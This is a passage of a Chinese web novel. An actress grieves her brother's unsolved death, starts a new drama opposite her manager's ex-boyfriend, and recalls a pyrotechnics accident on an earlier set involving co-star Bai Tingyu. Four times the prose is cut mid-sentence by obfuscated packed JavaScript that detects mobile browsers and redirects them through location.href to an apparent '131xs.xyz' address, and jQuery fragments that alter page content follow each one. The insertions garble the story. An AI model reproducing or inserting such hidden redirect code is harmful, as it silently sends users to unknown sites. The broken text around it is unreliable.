他已经努力柔和了自己的声线,可还是无法避免地看到了李璟意眼中的受伤。她沉重地向后退了两步,目光逐渐黯淡,最后在杨灝想要开口说什么之前,果断地转身,离开了书房。 江知渺和杨灝用餐时将手机调成了静音,待她终于能够悠哉地坐在沙发上休息时,拿起手机才发现,短短的两个小时,她竟然错过了两个人的电话。 她看着来电人的名字,一个是梁栖月,找她肯定是谈工作上的事情,另一个却让她陡然从沙发上坐了起来。 ——于志荣。 以往都是她主动联系这个人,今天却一反常态主动联系她,莫非是…… 她立刻准备回拨过去,微信弹窗先一步出现在屏幕上,她顺手点开,却被消息的内容震惊了,呆愣着久久没有回复。 那是来自“于志荣-望山县派出所”的消息: 「姑娘,今年十二月底我就要退休了,你弟弟的案子之后会由所里其他同事接手,非常抱歉。」 她只觉得脑海中“轰——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584999|171696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一声炸开了,眼前的世界纷纷裂成碎片,她孤身坐在废墟里,等啊等啊,希望能够等来救援。 可是,时间一分一秒地过去,五年,整整五年了,她还是没有等来伸出的援手。 分明是夏日的午后,可骨缝间却隐隐散发着凉意,让她不由得蜷缩起来。她好像再次回到了五年前那个大寒日,大片雪花像纸钱一样从空中洒落,她被拦在警戒线外,她的弟弟江知赫躺在血泊之中。 那时,民警于志荣给她送来一件军大衣,不属于她的厚重衣物披在肩上,她才发觉自己全身冰冷,正在剧烈地颤抖。 现场勘验、走访调查、监控回放……作为这场车祸的办案民警,于志荣用尽了一切侦查手段,可惜案发地十分偏远,小县城监控稀缺,他们始终没能抓到肇事者。 江知渺也从一开始每天到警察局询问一次案件进展,到一周去一次,后来半个月发一次微信,现在几个月才会问一句。 不是忘却,江知渺从来没有忘却,甚至随着时间的流逝,江知渺已经将自己当成了罪魁祸首。 她只是受够了饱含期望却又落空的巨大落差,甚至渐渐地恐惧起来,每一次询问无果都在逼迫她承认自己的渺小。 即使真凶始终没有落网,她也从来没有放弃过。五年、十年、二十年,哪怕直到她死去的前一秒,她都会追寻那个夺走她至亲性命的人。 但这一刻,她突然不确定了。 停滞的事业、破碎的婚姻、恶俗的绯闻,一座又一座大山向她碾压过来,她还没来得及站起来,就又有新的重锤挥向她。 在他们的小县城里,警察是很稀缺的资源,每位民警都承担着巨大的工作负担,能分给陈年旧案的时间,少之又少。 假如换成一名新的民警,若要继续追查,还需从头去了解案情,阅读案卷,复查五年来海量的调查记录,恐怕与真凶的距离只会越来越远。 她还能找到导致她弟弟死亡的那个人吗? 江知渺突然开始怀疑,这个世界上是否真的存在着那个人,否则为何这么多年翻天覆地的调查,都没能把他抓出来。 她一个人在客厅坐到了夕阳时分,血色落日铺满了洁白的瓷砖,刹那间她有些恍惚,眼前的血究竟是属于她弟弟的,还是柏霆宇的。 直到夕阳完全隐去,夜色席卷天地,她终于按亮手机,认真地向于志荣民警道谢,感谢他这么多年为她弟弟的案件做出的巨大付出。 回完消息,她就将手机扔到一旁,缓缓躺到沙发上,环抱着双膝,在这个动作中感受到了久违的安全感。 事情总是难遂心愿,也许她真的找不到真凶,也挽不回她的婚姻,更洗不清她的绯闻了。 江知渺自暴自弃地甩掉这些念头,扔到远处的手机突兀地响了起来,她第一次听完了整段铃声,却不想去接听。 紧接着又响起了第二次、第三次,同样的节奏来回播放,像一把木锯在心头拉扯,鲜血淋漓。终于,在手机第四次响起后,江知渺再难忍受,她缓慢地从沙发上爬起来,赤脚走过去,捡起手机。 接通后,梁栖月愤怒的声音从听筒中传来,扰乱了静谧的夜色: “江知渺,你知不知道你新接的那部戏,男主演是谁?” 11. 开机 梁栖月放低嗓音,她的声线在这沉寂空旷的夜色中,显得格外寂寥,“是吴祐安。” 江知渺倒吸了一口凉气,难以置信地瞪大了眼睛,原本沉睡的细胞被这个名字唤醒。 吴佑安,仁真娱乐公司当家小生,如今最炽手可热的流量男星。同时,也是梁栖月有过八年感情的前男友。 “我就知道,越过我这个经纪人直接去找你谈,肯定是有什么猫腻。好啊,今天把剧本和通告单发给我,我才知道,合着问题在我这儿呢。怕我耽误了人家与你和合作?怕我影响了他的事业,他的大好前程?我是那么小气的人吗!” 梁栖月又恢复了中气十足的样子,气急败坏地和她絮叨,江知渺想插句话都找不到空隙。 终于,她似乎是骂累了,停了下来,江知渺刚要找准机会安抚她的情绪,梁栖月又抬高了声音,警告她道:“我告诉你,这部戏,你必须给我认真准备,好好拍!播出后让所有人都看看,到底是谁撑起了收视率!” 江知渺被她这幅认真的样子逗笑了,当年吴佑安以专注事业为由与她分手后,梁栖月就一直憋着一口气,想要向他证明自己的工作能力。 虽然不用她提醒,自己也会尽力完成好表演,但是,这个一提到吴佑安就变得幼稚可爱的梁栖月,江知渺已经两年没有见到过了,一时间还有些怀念。 “好啦,我知道了,一定会让你赢过前男友的。”江知渺走到落地窗前,望着远处灯火通明的城市天际线,心底突然开阔了起来。 即使她什么都失去了,她还有演员这个身份,还有她最引以为傲的演技。 其他的人都可以忽视,任何的声音都可以无视,只要能够拍戏,能够站在镜头前自由地演绎喜怒哀乐,一切就都还值得期待。 挂断电话后,江知渺打开电脑,从邮箱里下载工作室发来的剧本。双击打开后,一张清新的草绿色封面映入眼帘,在如波浪一般的青草之上,印着四个优美的艺术字:流年似水。 三个小时后,江知渺意犹未尽地将文件关闭。她将剧本通读了一遍,不禁感叹起修导选本子的能力。 简单来说,这部剧讲的是一对中学时期情窦初开的少男少女,在大学时期因为不同的未来规划而分道扬镳,后来又在职场相遇,最终走到一起的爱情故事。 可剧本对于人物内心的剖析十分深刻,无论是学生时期的隐秘情愫,还是分手时的不甘,抑或是重逢后的酸涩,情感都非常细腻。 当然,这也对演员提出了很高的要求,演员必须通过表演,展现出角色复杂且多层次的内心活动。 江知渺躺在床上,心绪仍然为刚才的剧本而剧烈翻涌。又是一次难度不小的挑战,可她坚信自己能够成功,就像从前无数次那样。 ……才怪! 进组的第一天,江知渺就被泼了一盆冷水,原因很简单:男主角吴佑安的演技,实在是令人不敢恭维。 结束了难熬的第一天剧本围读,江知渺早已身心俱疲,她只想回到房车上闭目休息,忘掉吴佑安毫无起伏的念经般的声音。 可事与愿违,就在她即将踏入房车时,那个她此刻最不愿意听到的声音,还是在身后响起了:“知渺,你现在有空吗,我们聊聊?” 坐在对面的吴佑安搓着手,江知渺将双手抱在胸前,等着他开口。房车里空间不大,吴佑安一米八五的身高显得有些局促,他弓着背,因为纠结而涨红了脸。 由于刚刚体会过他剧本围读时的糟糕表现,江知渺对他没有什么耐心,只是顾及梁栖月的面子,勉强忍受着尴尬的空气。 “我……” “咚、咚、咚。”吴佑安刚要开口,就被敲门声打断了。 江知渺示意冉然去开门,门打开后,一个瘦弱的女人出现在门口。她梳着一个朴素的低马尾,脸上戴着口罩,看不清长相,只能从露出的眼睛看出,她年纪不大。 她穿着剧组统一的保洁员服装,粗糙的制服从她瘦削的肩上垂下来,号码尺寸明显不合适,她的双手被迫缩进过长的衣袖里,扫把从袖口探出来。 见门被打开,她把头向衣领里缩了缩,低着头,怯生生地抬眼看向开门的人,“那个,请问需要打扫卫生吗?” 冉然本想拒绝,江知渺却突然起身,来到她身旁,说道:“谢谢,麻烦您了。”说完,她叫上吴佑安,一起离开了房车,只留下冉然在房车里。 进组第一天,房车里并不脏乱,只是她看那个保洁员也就二十出头,应该是千辛万苦来到大城市打工的,这才动了恻隐之心。 而且,跟吴佑安挤在狭小的房车里,实在令她难以控制怒火。为了防止自己忍不住直接批评他的台词,江知渺决定来到外面。 “我很久都没有见到栖月了,她……最近还好吗?”在枯燥的蝉鸣声中,吴佑安的声音比蚊子还小。 江知渺看着他这幅小心的样子,回想起大三那年,梁栖月拉着吴佑安来到她和柯妙妙面前,说他们两个在一起了。 当时这个消息把她们俩惊得不知该说什么,吴佑安是他们班里入学专业成绩最差的那个,若不是因为他的前一名因文化课分数不够,无法入围,不然他根本不可能进入电影学院。 在各种专业课上,吴佑安也总是那个被老师单独拉出来当做反面典型的人,他完全称得上木讷,表演时像个木偶,没有一丁点灵性。 江知渺怎么也想不通,作为学生会副主席,梁栖月究竟是怎么看上吴佑安这块木头的,而且一谈竟然就谈了八年。 ……“我好得很,死不了,不劳吴大明星费心!” 说曹操曹操到,梁栖月的大嗓门瞬间穿透夏日午后闷热潮湿的空气,随着一阵清脆的高跟鞋声,她走到了江知渺的身边。 “快去休息休息吧,今天晚上还要试妆拍定妆照。”她推着江知渺往房车的方向走,头也不回一下,“别为了不值得的人浪费时间。” 两个人刚到房车门外,门突然从里面打开了,刚刚那个保洁员正提着垃圾袋准备出来,看见她们后,立刻闪躲着眼神。 “你是谁?”梁栖月皱了皱眉,问道。 “我是剧组的保洁,刚才在里面打扫卫生……”她的声音越来越小,几乎要把整个脸都缩进口罩里了。 “是我让她进去的,冉然也在里面。”江知渺对梁栖月轻松地说道。 见梁栖月没再问什么,年轻的保洁员猫着身子,准备擦着房车的边缘离开,刚走两步,却被江知渺叫住了:“等一下。” 她的肩膀为之一震,缓缓转过身来,只见江知渺踏入房车,很快就走出来,递给她一瓶冰水,“老师,辛苦了。天气热,这是我冰箱里准备的冰水。” 保洁员的眼神落在那瓶水上,久久没有反应,无论沙哑的蝉鸣如何催促,只是愣愣地看着。 “您是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585000|171696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不方便喝冰的……”江知渺见她不说话,慢慢地将手臂放了下来,“抱歉,我换一瓶常温的给您。” 她刚要喊冉然再拿一瓶水出来,手就被人猛地拉住了。江知渺吓了一跳,面前的保洁员睁大了眼睛看着她,双手紧紧地握住那瓶冰水。 “谢谢,谢谢您,我没关系的。”她似乎很紧张,肩膀一直在不由自主地颤抖,江知渺轻轻拍了拍她握住自己的手,发现随着自己的安抚,她颤抖地更厉害了。 “接下来这段时间还要麻烦您了。”江知渺把水瓶塞进她的手里,准备返回房车休息。 “那个……”保洁员犹豫的声音叫住了她,江知渺回过头,只见她弯了弯眉眼,似乎是在微笑,“老师,我叫程薇,如果需要打扫卫生的话,随时找我就好。” 三天剧本围读,江知渺过得宛如上刑。 不仅是耳膜被吴佑安如白开水般平淡的台词摧残,而且,由于男主角完全提供不了情绪,她还要花费更多的心力调动自己的情绪。每天返回剧组统一入住的宾馆后,她都是精疲力尽,只想瘫在床上。 剧本围读结束后,正式来到了开机的日子。开机仪式现场来拍摄的媒体,多到江知渺在圈里这些年也从没见识过。 业界口碑一等一的导演,一夜爆红的流量男主角,绯闻缠身的实力女主角,多重看点吸引了无数的媒体记者。 剧组也对《流年似水》抱有极高的期望,江知渺从现场烟雾缭绕的香火就能看出来。也不知道剧组是准备了多少支香,浓烟笼罩着开机仪式现场所有演职人员,几乎三步之外就难以辨别对方的样子。 刺鼻的浓烈沉香呛得江知渺忍不出咳嗽起来,可面对着这么多相机,她也不敢咳出声,只能强忍着喉咙的不适,跟随队伍前去上香。 走到奉香的案台前,烟雾的浓度到达了顶峰,烟雾颗粒薰得她眼睛火辣辣地疼痛。把香插进香炉后,借着背对记者的时机,江知渺偷偷闭上了双眼,虔诚地弯下腰鞠躬,心底默念着:开机大吉,一切顺利。 或许是烟雾太过浓郁,站起身时,江知渺突然觉得头重脚轻,脚下向前迈了一步,勉强维持住平衡。 忽然,一个熟悉的声音出现在耳畔,低沉温柔的男声低语道:“小心点。” 她似乎感觉到有人从身旁拉了她一把,让她能够借力直起身来。然而,当她向四周张望时,浓雾中却看不到任何身影。 可那个声音,那个熟悉的声音,分明真实地回荡在耳畔,一如几个月前,《凤皇止阿房》的开机仪式上一样。 那时她好不容易摆脱了记者连环炮似的提问,抓紧时间回到休息区喝一口水,柏霆宇不知什么时候悄无声息地来到她身边,让她微微一惊。 “你没事了吧?”他轻松地拧开一瓶矿泉水,仰头喝下大半瓶,看起来也是刚从采访区逃出来的。 “我没事,可能是早上没来得及吃早饭,有些低血糖。”江知渺报以礼貌的微笑,“刚刚上香的时候,谢谢你。” “是啊,确实要感谢我,不然你一头栽到香炉上,那场面,啧啧啧……”他毫不掩饰自己的调侃,甚至带着几分恶劣的坏笑。 可江知渺的确无法反驳,如果不是他刚才扶了自己一下,事情真的会变得他说的那样糟糕。 “那你要怎么报答我呢?”柏霆宇的脸突然靠近,江知渺的鼻尖霎时萦绕起不知是他们两人谁身上残留的檀香。 12. 爆炸 即使远离了开机仪式现场,浓烈的雾气也已逐渐扩散开来,透过一层薄雾,江知渺努力地望向柏霆宇的眼睛。 这是她第一次好好地正视自己接下来三个月的合作对象。 柏霆宇,意大利归国的青年演员,三年前从意大利最好的艺术学校毕业,归国后凭借帅气的外形和独特的人格魅力,瞬间火爆全国。 坦白来说,江知渺对他的印象并不好。在粉丝眼里,他是纯粹天真的青年男演员;而在观众眼里,他是与每部戏合作的女演员都传出绯闻的花花公子。 无论柏霆宇和哪位女演员合作,只要有感情戏,播出后都会吸引来一大批cp粉。江知渺很难被说服,他是凭借演技征服了观众。她更愿意相信,是柏霆宇在炒作。 所以,当导演第一次找到她,希望她能够成为女主角,与柏霆宇合作时,江知渺是拒绝的。 她平生最看不起的,就是那些靠炒作、注水和流量起家,丝毫没有对演员这个职业的敬畏心,从不静心磨练演技的演员。 可《凤皇止阿房》的张导与她是老朋友了,张导知道她的顾虑,向她耐心解释,这部戏里她饰演的是柏霆宇的姐姐,和他并没有感情戏,还将柏霆宇试戏的录像发给了她。 从看完试戏片段的那一刻起,“柏霆宇”这个名字,就变成了如今这披着浓雾的样子,看不清也摸不透。 他的演技是她近几年合作过的青年男演员中数一数二的,仅仅是看他压抑着哭腔、祭奠父母的片段,江知渺就头皮发麻,心也跟着揪起来。 明明有着这么优秀的演技,却偏偏要做个流量明星,常年住在热搜榜上,江知渺不得不承认,自己对他是有些惋惜的。 如今,轮到自己成为他的女主角,江知渺不禁开始疑惑,眼前这个看不透的神秘男人,到底是个怎样的人。 “你这是小题大做。”她瞥向一旁,对他那副调笑的面孔视而不见,摆明了拒绝与他炒作的态度,“我不认为对你有什么亏欠之处。” “真的吗?”柏霆宇一步一步向她靠近,与周围浓郁檀香不同的古龙水的味道,强硬地展示着自己的存在感。 “我会让你心甘情愿报答我的。”他贴近她的耳畔,低笑着,尾音愉快上扬。 正式开拍前三天的剧本围读,江知渺一门心思扑在钻研剧本和人物之中。对她而言,《凤皇止阿房》出现的时间刚刚好。 四个月前,她的上一部戏《聆听温度》顺利杀青,这是她第一次饰演一位母亲。在二十九岁的年纪就扮演单亲母亲的角色,不仅是工作室的小伙伴们不支持,开机前,舆论也对她并不看好。 但读完《聆听温度》的剧本,她还是力排众议,毅然接下了这部戏,原因很简单:她有自信演好一个母亲。 剧中,她的女儿天生失明;祸不单行,孩子几个月大,她们就被孩子的父亲遗弃在了M市的工地上。 为了养活孩子,只有中专学历的她不得不寻找各种谋生的手段。阴差阳错间,她进入M市最大的保险公司,成为了一名保险营销员。 尽管对金融一窍不通,她却擅长包装,不但将自己包装成了岁入百万、经验丰富的高级代理人,而且还伪造了重点本科的学历,摇身一变成了知性白领。 越来越多富人通过她的代理签订大额保单,她的收入随之水涨船高。正当她为这空中楼阁窃喜时,初中的男同桌、M市小有名气的建筑业富商,突然出现在她的生活中。 她以为幸运终于降临在她的头上了,抱着孩子住进了他提供的房子里;然而很快就发现,所谓的爱巢,实际上只是他在家庭之外短暂停留的温柔乡。 经过了无数次心理的挣扎,最终,为了在女儿漆黑的世界中,留下一个好妈妈的形象,她毅然离开M市,带着女儿重新开始。 江知渺接到《凤皇止阿房》的剧本时,《聆听温度》正在上星播放。她用细腻的演技和情感打动了无数观众,加之极具张力的人物设定,甚至许多媒体断言,她会凭借这部剧,一举拿下国家级演员的称号。 然而,烦恼也与之俱来,她接到的剧本,大部分都变成了母亲或是妻子的角色。于是,接下《凤皇止阿房》,在这部改编自真实历史的剧集中,饰演一位亡国公主,成为了最优解。 既没有狗血的爱情故事,不会割裂刚刚树立起来的正面荧幕形象,也可以证明,她还有足够的活力,去演绎一位少女。 第一场戏是便是重头戏,她所饰演的清河公主慕容鸢与弟弟——柏霆宇饰演的慕容冲,在关键战役中里应外合,助他攻打长安。 由于涉及到大量炸药的安置,拍摄时间被安排在晚上十点。江知渺早早地来到现场,抱着剧本温习台词。直到十点整,场务开始清理现场,维持秩序,柏霆宇才从房车上走下来。 按照设定,此时的慕容冲刚刚年满二十,正是风华正茂的年岁。柏霆宇玉冠束发,身着甲胄,大步流星地向她走过来。 令人惊艳的少年将军形象,引来周围工作人员的阵阵惊呼。江知渺从剧本里抬起头,刚好对上他玩味的眼神。她别过头去,视而不见。 今晚拍摄的剧情是,慕容冲带领军队攻打长安,被俘城中的叔父慕容暐本应作为内应,视城外火光起后,点燃城中火药,率领军队在城内呼应。 然而当慕容冲按照约定开始攻城,却迟迟不见慕容暐的动静,军队陷入包围,极其被动。正当危机时刻,慕容鸢潜出王宫,点燃火药,与攻城将士形成呼应,扭转战局。 可是,长安守备精良,缺少了慕容暐的力量,慕容冲渐渐败下阵来。慕容鸢知道自己被抓回去也难逃一死,于是奋力冲出城外,想要护送他离开战场,却亲眼目睹长安守军投下的炸药在慕容冲身边爆炸…… 化妆师在江知渺的衣服和脸上涂抹着火药的黑粉,她在心底默默地记着几处火药放置的位置。爆炸戏成本高,且费时费力,她不希望因为自己的失误浪费剧组的努力。 “《凤皇止阿房》一场一镜一次,开始。” 慕容冲愤怒地揪住近卫的衣领:“为何叔父还没有消息!” 他手起刀落,将两名守卫兵斩于马下,鲜血喷溅在他的斗篷上,宛如一朵朵展开的杜鹃花。 在听到士兵不确定的回答后,他双眸怒瞪,抬起头悲哀地望向高大威严的城楼。 他知道,这样下去自己将会命丧于此,虽然未发一言,可眼神中的悲戚比冰冷月色还要凄凉。 “传我将令,全力攻城!”随着一声撕心裂肺的怒吼,所有将士再次振作起来,吹响了拼死一搏的号角—— “卡!”张导叫停拍摄,从监视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585001|171696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 器后站了起来,拿起对讲机,冲着远处尘土飞扬的拍摄现场喊道:“非常好!” 江知渺从监视器里看到柏霆宇释然一笑,标志性的开朗笑容中,似乎还遗留着角色中的悲伤。 她愣了一下,那个略带勉强的笑容,让她顿时产生熟悉的感觉。她下意识地再次看向监视器画面,试图看清监视器里的人,究竟是谁。 像碧蓝的天空上始终飘荡着一片乌云,像清澈的小溪终究要汇入混浊的河水,像成功抓到了娃娃却不是想要的那个玩偶。 像她死去的弟弟。 乖巧但忧郁的,懂事却纠结的,怨怼而无可奈何的,在十八岁生日的夜晚,生命悄无声息地熄灭。 江知渺有些恍惚,她跟随道具组走上城墙,四处都是残垣断壁,尸横遍野,血流成河,她身穿一身精致高贵的丝质衣裙,守城战士茫然地盯着她,像是将死之人在看向彼岸的人们。 她向城墙下望去,黑压压的军队钉在广袤土地上,将士们浑身沾满了不知是谁的血迹,疲惫的马儿此起彼伏地发出“呼呼”的嘶鸣,在人群正前方,一杆绣着“慕容”二字的大旗支离破碎。 而那旗帜下方,她的弟弟慕容冲手持长枪,倔强地昂着头颅,怒视着城墙上的大旗,旗面上硕大的“苻”字将他的双目染上赤红,像是黑夜中唯一耀眼的火光。 “一场二景一次,开始!” 喊杀声轰然响起,震破天际,连脚下的城墙也为之颤抖。一个一个将士冲上城墙,又一个一个被弓箭击中,飘然坠落,发出声声惨叫。 清河公主撑着城墙,向外看去,长安守军将慕容军队团团围住,如旋涡般愈收愈紧,以令人窒息的速度向内收缩,处在包围圈内的士兵纷纷倒下。 她双眼含泪,那旗帜上是她的姓氏,那些攻城将士是她的子民,可她却束手无策,只能眼睁睁地看着他们命丧战火。 “让开!快让开!” 伴随着隆隆的滚轮声,几座大炮被推上城墙,士兵们将火药炮弹快速装进炮筒,合力将炮头抬高。 “三、二、一,放!” 不……她冲上前去,用尽全身力气,拦住拉动引线的士兵,却被无情地甩开,重重地跌落在地!她狼狈地爬起来,企图抱住炮筒,可还没有靠近,巨大的爆炸声就响彻了天际。 “砰!——” 她被这冲天巨响震得愣了片刻,待到回过神后,拼了命地冲到城墙边。城墙下尽是残躯断首,惨烈无边。刚刚竖立着旗帜的地方,正飘起浓烈的黑烟,浓雾之中,她怎么也找不到那个日日牵挂的身影。 不,你不能死—— 她仓皇冲下城楼,连发钗跑掉了都顾不得,踉踉跄跄地奔向黑烟中。不属于那个场景的对讲机的声音,骤然打断了她的情绪。 “快救人!” 她的泪水还挂在脸颊上,听到这里,缓缓停下脚步,从她的身后急匆匆地跑过无数工作人员,摄影老师也放下了机器,灯光老师将灯光调到最亮。 江知渺这才意识到,那过分浓郁的黑烟实在不正常。按照剧情,她理应能够在城墙上看到柏霆宇,并与他挥手道别的。 “老师,这是发生什么了?”她拉住一个奔跑的摄影助理问道。 “炸药的落点出了问题,恐怕是落到演员身边了!” 13. 虚情 “知渺姐,你没事吧!”冉然跑着向她冲过来,巴掌大的肉脸拧成了包子。 江知渺摆了摆手,在她的搀扶下,缓缓走回房车。路过柏霆宇的房车时,停顿了一下,还是继续向前走去。 柏霆宇靠坐在房车的沙发上,从助理的手里接过冰水,仰头灌下一整瓶。冰冷刺骨的凉水顺着食道滑向胃里,刺激肠胃猛烈收缩,连带着五脏六腑再一次感受到方才那种濒临窒息的感受。 爆炸声在耳畔响起的时候,他还没有意识到出了事故,爆炸的巨响令他的双耳间歇性失去了听觉。当刺鼻的黑烟熊熊燃起,将他们完全包裹起来,视线也被剥夺之后,柏霆宇才察觉出,这次的爆炸充满危险。 他立刻向身后的群演大喊:“大家捂住口鼻!不要慌张!不要大口吸气!” 伴随着他开口说话,大量烟尘与火药颗粒钻进他的鼻腔,黏在喉咙上,让呼吸变得困难起来。由于不确定方位,他只好待在原地,紧紧地憋住一口气,暗暗祈祷救援赶快到来。 好在张导有着极其丰富的拍摄经验,在监控器里看到浓烟滚滚,立刻察觉到不对劲,紧接着联络片场附近的消防队,并安排了工作人员先行前去救援。 那时候,柏霆宇的耳朵还处在暂时性失聪当中,隐约看到浓雾中有人摸索着靠近他们。他用力将身上的钢制盔甲与旗杆碰撞,发出清脆的金属声,吸引救援人员前往他们被困的方向。 消防员抬着担架,将他安稳地放到上面,似乎还和他问了什么,他伸手指了指自己的耳朵,摇摇头,消防员立刻明白了情况。 柏霆宇和其他群演陆陆续续被抬到远处的空地上,看着那滚滚黑烟,他的心底这才感到后怕,好在经过医疗人员的检查,群演们只是吸入了少量烟尘,并没有人受伤。 他用力地敲了敲耳朵,仍然听不见任何声音,颓然地低下头去,克制平复着急促凌乱的呼吸。 一个脏兮兮的裙摆突然出现在他的视线里,柏霆宇顺着裙摆向上望去,来人满脸的黑色烟尘,只能从那双极具东方含蓄留白的眼睛中,辨认出她是江知渺。 柏霆宇看得到她嘴巴一张一合,却丝毫听不到她在说什么,于是悠哉地后仰着,把手撑在地上,好整以暇地挑起眼睛。 本以为她只是客套关心一下,可他盯了她许久,她还在自顾自地说着话,好像还越说越快,唇角因为干燥而泛白。柏霆宇这才开始认真地去观察她,发现她脸上的黑烟比旁边的群演还要重。 ——她不是站在城墙上吗,为什么会沾染这么多烟尘? 柏霆宇被困在寂静的世界里,愣愣地看着江知渺接下来的举动,她不顾地上的灰尘,扑到他的面前,低头瞧着他斑斓狼狈的戏服。抬眼时,她的眼中竟然满含泪水。 他突然好想听到声音,从前他时常巴不得全世界的人都被割掉舌头,让耳边再也没有奉承、没有辱骂、没有趾高气昂、没有颐指气使。 但此刻,被江知渺用力地握住肩膀,焦急地查看他是否受伤,咫尺间那柔软的唇瓣一张一合,柏霆宇好想听听她和自己说了什么。 不知不觉间,他收敛起那副玩味的笑容,甚至久违地感受到一丝愧疚:我怎么能用那种嬉皮笑脸的态度,回应她如此真诚的情绪? 柏霆宇莫名地产生一阵冲动,他想伸出手去,紧紧地把江知渺抱在怀里,将她完全吞噬在自己的身体里,让她听听自己因为爆炸或是别的什么而正在疾速跳动的心脏。 或许是她哭得太过伤心,原本已经为他做完简单检查的医生再次来到他们身旁,江知渺站起身来,紧紧地抓住医生的白大褂,柏霆宇猜她应该是在询问自己的情况,他原本已经准备抬手拥抱她,此时手臂也随着她的起身,缓缓地垂了下来。 得到医生肯定的答复后,江知渺终于长舒了一口气,紧绷许久的身体也逐渐放松。柏霆宇以为她还会再向自己说些什么,比如他最关心的问题:她为什么会走下城墙,为什么要第一时间来看望他,为什么要为一个才认识三天的人而流泪。 然而,江知渺仅仅是平静地跟随医生一同离开,唯有即将步入混乱的人群前,才终于扭过头,轻飘飘地瞟了他一眼。 那些泪水、关切、情难自已的痕迹,瞬间就从她的脸庞上消失了,仿佛从未存在过,从头至尾,柏霆宇只获得了这个不痛不痒的眼神。 他当即感受到一种耻辱,恨不得立刻冲上去,拦住她,质问她:为什么要在我的面前,假惺惺地演一套情深意切? 扮演亲密关系,炒作暧昧氛围,那是他柏霆宇的权力。她凭什么直接冲上来,用高超的演技将他骗得团团转,骗到他几乎要相信了,又突然翻脸不认人? 剧组开机第一场就发生安全事故,不得不停拍三天,进行安全隐患排查。柏霆宇被她的眼泪搅得一夜没能合眼。第二天一早,他终于忍不住跟助理要来江知渺的房间号,气冲冲地敲开了她的房门。 “我有一个建议:VeilMansion。” 国立电视台,顶层会议室里,邵聿冷不丁冒出的一句话,让所有参会人齐刷刷地转头看向他,刘恪辰慢了半拍,发出了一声疑惑的“啊?”。 《钩沉》每一季收官都会走出摄影棚,租用更大的场地,邀请众多历史学者与历史类自媒体博主等共同参加。 本季仍然按照这一惯例进行准备,在筹备会上,综合部负责人赵咏诚主任请大家畅所欲言,分享关于选址的想法。 作为节目的主持人及主策划,邵聿对于拍摄地点有着极其严苛的要求,既不能过分简陋,也不能过分奢华,筹备组同事提出的几个意见都被他否定了。 会议的气氛降到冰点,所有人都摸不透什么样的地方才能令邵聿满意,他突然提出的建议瞬间引爆了凝重的空气。 坐在远端的年轻同事窃窃私语起来,近处的几个与他合作过很久的同事也都不解地面面相觑。谁都知道邵聿的妻子江知渺被卷进了一场杀人案中,而案件发生的地点就在VeilMansion。 尽管VeilMansion具有相对独立的会议层,也承办过不少电视节目,可到底是在同一楼宇里,邵聿的这个建议,难免让他们有些困惑。 刘恪辰第一时间凑到旁边,小声劝道:“聿哥,那个……VeilMansion是高端会所,咱们的经费应该租不起他们的地方。” “我们这一季的经费比上一季提高了30%,原先已经预留了充 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585002|171696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 足的余量,用于筹办最后一期节目。”邵聿拿出一份预算文件,给大家传阅。 有人反驳道:“VeilMansion说到底还是一间会所性质的酒店,和我们的节目主题恐怕不相符。” 面对大家的疑惑,邵聿面不改色,解释道:“VeilMansion近期在举办一位美籍华裔私人收藏家的展览,我了解过那些展品,其中有很多珍品和我们节目的内容相契合,我也联系过这位收藏家,他非常愿意自己的藏品接受拍摄。” “可是……” 陆续还有两三个同事表达了不同意见,待他们发言完毕,邵聿刚准备一一回应,就有人推门而入。 大家看向门口,只见李璟意抱着一打文件,款款走进来,“我赞成邵大主持的建议。” 她随手撩了撩发尾,走到会议室尽头,将手中的文件递给赵主任,低声道:“赵主任,抱歉打扰您了,副台长请您到1507开会,讨论新闻部这份策划案。” 目送赵主任离开,李璟意毫不客气地搬过他的空椅子,摆在邵聿旁边,惬意地靠在椅背上,抬手示意道:“你们继续。” “你来做什么?”邵聿不悦地看着她。 “当然是来参加你们的筹备会啊。” “我们综合部的筹备会,和你一个新闻部记者有什么关系?” 